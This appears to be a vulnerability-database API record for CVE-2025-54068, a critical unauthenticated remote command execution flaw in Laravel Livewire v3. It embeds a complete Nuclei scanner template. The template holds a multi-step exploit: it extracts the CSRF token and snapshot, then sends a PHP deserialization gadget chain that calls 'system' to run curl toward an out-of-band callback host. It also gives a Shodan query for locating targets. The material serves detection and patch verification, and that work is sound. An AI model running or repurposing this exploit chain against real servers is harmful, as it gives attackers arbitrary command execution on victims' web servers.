{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-54068/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-54068/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-54068/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-54068/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-54068/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-54068"},"sightings":{"href":"/api/v1/sightings/cve-2025-54068"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.97072,"kev":true,"percentile":0.99889},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-54068.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-54068\n\ninfo:\n  name: Laravel Livewire v3 - Remote Command Execution\n  author: flame-11\n  severity: critical\n  description: |\n    Livewire v3 (Laravel) contains a vulnerability in its component hydration/update mechanism that can be exploited to reach remote command execution (RCE) without authentication under certain conditions.\n  impact: |\n    An unauthenticated attacker may execute arbitrary commands in the web server context.\n  remediation: |\n    Upgrade livewire/livewire to a patched version (>= 3.6.4).\n  reference:\n    - https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3\n    - https://github.com/synacktiv/Livepyre\n    - https://www.synacktiv.com/en/publications/livewire-remote-command-execution-through-unmarshaling\n    - https://www.synacktiv.com/sites/default/files/2025-09/slides-livewire-nullcon2025.pdf\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-54068\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.8\n    cve-id: CVE-2025-54068\n    epss-score: 0.97072\n    epss-percentile: 0.99889\n    cwe-id: CWE-502\n    cpe: cpe:2.3:a:laravel:livewire:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    shodan-query: html:\"wire:id\"\n  tags: cve,cve2025,laravel,livewire,rce,deserialization,oast,intrusive,vkev,kev\n\nflow: http(1) && http(2) && http(3)\n\nvariables:\n  marker: \"{{randstr}}\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'wire:snapshot=')\"\n          - \"contains(body, 'data-update-uri=')\"\n          - \"contains(body, 'data-csrf=') || contains(body, 'csrf-token')\"\n        condition: and\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'data-csrf=\"([^\"]+)\"'\n          - '\"csrf\"\\s*:\\s*\"([^\"]+)\"'\n          - '<meta name=\"csrf-token\"\\s+content=\"([^\"]+)\"'\n\n      - type: regex\n        name: update_uri\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'data-update-uri=\"([^\"]+)\"'\n          - '\"uri\"\\s*:\\s*\"([^\"]+)\"'\n\n      - type: regex\n        name: snapshot_attr\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'wire:snapshot=\"([^\"]+)\"'\n\n      - type: regex\n        name: param_name\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'wire:snapshot=\"[^\"]*(?:&quot;data&quot;:\\{&quot;|\\\"data\\\":\\{\\\"?)([A-Za-z0-9_]+)'\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/{{trim_prefix(update_uri,'/')}}\"\n    headers:\n      Content-Type: application/json\n    body: |\n      {\n        \"_token\": \"{{csrf_token}}\",\n        \"components\": [\n          {\n            \"snapshot\": \"{{replace(replace(html_unescape(snapshot_attr),'\\\\','\\\\\\\\'),'\\\"','\\\\\\\"')}}\",\n            \"updates\": { \"{{param_name}}\": [] },\n            \"calls\": []\n          }\n        ]\n      }\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(content_type, 'application/json')\"\n          - \"contains(body, 'snapshot')\"\n        condition: and\n\n    extractors:\n      - type: json\n        name: snapshot_signed\n        part: body\n        internal: true\n        json:\n          - \".components[0].snapshot\"\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/{{trim_prefix(update_uri,'/')}}\"\n    headers:\n      Content-Type: application/json\n    body: |\n      {\n        \"_token\": \"{{csrf_token}}\",\n        \"components\": [\n          {\n            \"snapshot\": \"{{replace(replace(snapshot_signed,'\\\\','\\\\\\\\'),'\\\"','\\\\\\\"')}}\",\n            \"updates\": {\n              \"{{param_name}}\": [\n                1,\n                [\n                  {\n                    \"a\": [\n                      {\n                        \"__toString\": \"phpversion\",\n                        \"close\": [\n                          [\n                            [\n                              {\n                                \"chained\": [\n                                  \"O:38:\\\"Illuminate\\\\Broadcasting\\\\BroadcastEvent\\\":4:{s:5:\\\"dummy\\\";O:40:\\\"Illuminate\\\\Broadcasting\\\\PendingBroadcast\\\":2:{s:9:\\\"\\u0000*\\u0000events\\\";O:31:\\\"Illuminate\\\\Validation\\\\Validator\\\":1:{s:10:\\\"extensions\\\";a:1:{s:0:\\\"\\\";s:6:\\\"system\\\";}}s:8:\\\"\\u0000*\\u0000event\\\";s:{{len('curl -m 4 -fsS http://{{interactsh-url}}/?q={{marker}}')}}:\\\"curl -m 4 -fsS http://{{interactsh-url}}/?q={{marker}}\\\";}s:10:\\\"connection\\\";N;s:5:\\\"queue\\\";N;s:5:\\\"event\\\";O:37:\\\"Illuminate\\\\Notifications\\\\Notification\\\":0:{}}\"\n                                ]\n                              },\n                              {\n                                \"s\": \"form\",\n                                \"class\": \"Illuminate\\\\Broadcasting\\\\BroadcastEvent\"\n                              }\n                            ],\n                            \"dispatchNextJobInChain\"\n                          ],\n                          {\n                            \"s\": \"clctn\",\n                            \"class\": \"Laravel\\\\SerializableClosure\\\\Serializers\\\\Signed\"\n                          }\n                        ]\n                      },\n                      {\n                        \"s\": \"clctn\",\n                        \"class\": \"GuzzleHttp\\\\Psr7\\\\FnStream\"\n                      }\n                    ],\n                    \"b\": [\n                      {\n                        \"__toString\": [\n                          [\n                            [\n                              null,\n                              {\n                                \"s\": \"mdl\",\n                                \"class\": \"Laravel\\\\Prompts\\\\Terminal\"\n                              }\n                            ],\n                            \"exit\"\n                          ],\n                          {\n                            \"s\": \"clctn\",\n                            \"class\": \"Laravel\\\\SerializableClosure\\\\Serializers\\\\Signed\"\n                          }\n                        ]\n                      },\n                      {\n                        \"s\": \"clctn\",\n                        \"class\": \"GuzzleHttp\\\\Psr7\\\\FnStream\"\n                      }\n                    ]\n                  },\n                  {\n                    \"class\": \"League\\\\Flysystem\\\\UrlGeneration\\\\ShardedPrefixPublicUrlGenerator\",\n                    \"s\": \"clctn\"\n                  }\n                ]\n              ]\n            },\n            \"calls\": []\n          }\n        ]\n      }\n\n    matchers:\n      - type: word\n        part: interactsh_request\n        words:\n          - \"?q={{marker}}\"\n# digest: 4a0a00473045022034e1705e92d11af74ac367ca45dc1be3d8e3abc3a0b0460bbe99c6d782e70542022100d7cda1d78bb4086458518460b840642976a5773e139cd14ec59676fccf7a8089:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-54068"}